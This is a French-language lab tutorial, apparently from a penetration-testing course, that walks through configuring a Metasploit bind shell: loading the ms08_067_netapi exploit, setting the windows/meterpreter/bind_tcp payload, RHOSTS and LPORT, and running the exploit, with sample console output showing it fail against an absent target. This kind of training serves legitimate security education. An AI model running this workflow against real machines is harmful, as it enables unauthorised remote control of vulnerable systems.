Introduction
Dans ce laboratoire, vous apprendrez les étapes fondamentales de l'utilisation d'une charge utile (payload) de type bind shell dans le Metasploit Framework. Metasploit est un outil puissant de test d'intrusion qui permet aux professionnels de la sécurité de trouver, d'exploiter et de valider des vulnérabilités.
Une "charge utile" (payload) dans Metasploit est le code qui s'exécute sur le système cible après qu'une vulnérabilité a été exploitée avec succès. Une charge utile de type "bind shell" est un type spécifique qui ouvre un port d'écoute sur la machine cible. L'attaquant se connecte ensuite à ce port pour obtenir un shell de commande et contrôler le système. Ceci est différent d'un "reverse shell", où la machine cible initie une connexion vers l'attaquant.
Tout au long de ce laboratoire, vous pratiquerez le flux de travail complet : lancement de Metasploit, sélection d'un exploit, configuration d'une charge utile bind shell avec les options nécessaires, et tentative d'exécution de l'exploit.
Sélectionner un module d'exploit pour une cible
Dans cette étape, vous allez démarrer la console Metasploit Framework et sélectionner un module d'exploit. Un exploit est un morceau de code qui tire parti d'une vulnérabilité spécifique dans un système. Pour ce laboratoire, nous utiliserons un exploit bien connu à des fins de démonstration.
Tout d'abord, ouvrez votre terminal et lancez la console Metasploit. Nous utiliserons l'option -q pour le mode "quiet" (silencieux) afin de sauter la bannière et de démarrer plus rapidement.
msfconsole -q
Une fois la console chargée, votre invite changera pour msf6 >. Maintenant, vous devez sélectionner un exploit. Nous utiliserons l'exploit ms08_067_netapi, qui cible une vulnérabilité dans le service Windows Server.
Utilisez la commande use pour charger le module d'exploit :
use exploit/windows/smb/ms08_067_netapi
Après avoir exécuté la commande, vous verrez votre invite changer pour refléter le module d'exploit actuellement actif.
msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >
Notez que Metasploit a sélectionné par défaut une charge utile (payload) reverse_tcp. Nous allons changer cela à l'étape suivante.
Définir la charge utile sur windows/meterpreter/bind_tcp
Dans cette étape, vous allez changer la charge utile par défaut pour une charge utile de type bind shell. Comme mentionné dans l'introduction, une charge utile bind ouvrira un port sur le système cible, attendant que l'attaquant se connecte.
Nous utiliserons windows/meterpreter/bind_tcp. Cette charge utile vous donnera non seulement un shell, mais aussi une session Meterpreter, qui est une charge utile avancée et riche en fonctionnalités offrant plus de contrôle sur le système cible.
Dans l'invite msfconsole, utilisez la commande set payload pour spécifier la nouvelle charge utile :
set payload windows/meterpreter/bind_tcp
Metasploit confirmera le changement.
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
Vous avez maintenant configuré avec succès l'exploit pour utiliser une charge utile Meterpreter de type bind.
Définir l'option RHOSTS pour l'exploit
Dans cette étape, vous devez spécifier la cible de votre exploit. Dans Metasploit, l'adresse cible est définie à l'aide de l'option RHOSTS (Remote Hosts - Hôtes distants).
Vous devez indiquer à Metasploit quelle machine attaquer. Dans un scénario réel, vous auriez découvert l'adresse IP d'une machine vulnérable grâce à la reconnaissance. Pour ce laboratoire, nous utiliserons une adresse IP de substitution.
Utilisez la commande set pour configurer l'option RHOSTS. Définissons-la sur 172.17.0.2, qui est une adresse IP courante pour un conteneur sur un réseau bridge Docker.
set RHOSTS 172.17.0.2
La console confirmera que l'option RHOSTS a été définie.
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
Metasploit sait maintenant où envoyer l'exploit.
Définir l'option LPORT pour la charge utile sur la cible
Dans cette étape, vous allez configurer le port d'écoute pour le bind shell. Avec une charge utile bind, l'option LPORT (Local Port - Port local) spécifie le port TCP que la charge utile ouvrira sur la machine cible. C'est un concept crucial : vous définissez le port auquel vous vous connecterez après que l'exploit ait réussi.
Nous utiliserons le port courant 4444 à cette fin.
Utilisez la commande set pour configurer l'option LPORT :
set LPORT 4444
La console confirmera le réglage.
msf6 exploit(windows/smb/ms08_067_netapi) > set LPORT 4444
LPORT => 4444
Pour être sûr que toutes nos options sont correctement définies, vous pouvez utiliser la commande show options pour examiner la configuration de l'exploit et de la charge utile.
show options
Vous devriez voir un tableau de sortie où RHOSTS et LPORT sont correctement définis avec les valeurs que vous avez fournies.
...
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 172.17.0.2 no The target address
Exploit target:
Id Name
-- ----
0 Automatic Targeting
...
Lancer l'exploit et se connecter au port d'écoute
Dans cette étape, toutes les options étant configurées, vous allez lancer l'attaque. La commande exploit (ou son alias, run) indique à Metasploit d'envoyer l'exploit et la charge utile à la cible.
Lancez maintenant l'exploit :
exploit
Note Importante : Dans cet environnement de laboratoire, il n'y a pas de machine Windows vulnérable à l'adresse 172.17.0.2. Par conséquent, l'exploit échouera. Le but de cette étape est de comprendre la commande et d'observer le processus. Lors d'un test d'intrusion réel, si la cible était vulnérable, cette commande créerait une session.
Vous verrez Metasploit tenter de se connecter, mais finira par expirer. La sortie ressemblera à ceci :
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started bind TCP handler against 172.17.0.2:4444
[*] 172.17.0.2:445 - Automatically detecting the target...
[*] 172.17.0.2:445 - Fingerprint: Unknown
[-] 172.17.0.2:445 - The target is not exploitable.
[*] Exploit completed, but no session was created.
Cette sortie est attendue. Elle confirme que Metasploit a exécuté l'exploit, mais qu'aucune session n'a été établie car la cible n'était pas vulnérable ou joignable. Vous avez terminé avec succès le flux de travail pour l'utilisation d'une charge utile bind shell.
Pour quitter la console Metasploit, tapez exit :
exit
Résumé
Dans ce laboratoire, vous avez appris le processus essentiel de configuration et d'utilisation d'une charge utile bind shell au sein du Metasploit Framework.
Vous avez pratiqué le flux de travail principal :
- Démarrer la console Metasploit (
msfconsole). - Sélectionner un module d'exploit avec la commande
use. - Définir une charge utile spécifique avec
set payload. - Configurer les options spécifiques à la cible telles que
RHOSTS(l'IP de la cible) etLPORT(le port d'écoute sur la cible). - Exécuter l'attaque avec la commande
exploit.
Plus important encore, vous comprenez maintenant la caractéristique clé d'un bind shell : il ouvre un écouteur sur le système cible, obligeant l'attaquant à s'y connecter. Cette connaissance fondamentale est essentielle pour mener des tests d'intrusion et comprendre les différentes méthodes d'obtention d'un accès à distance.


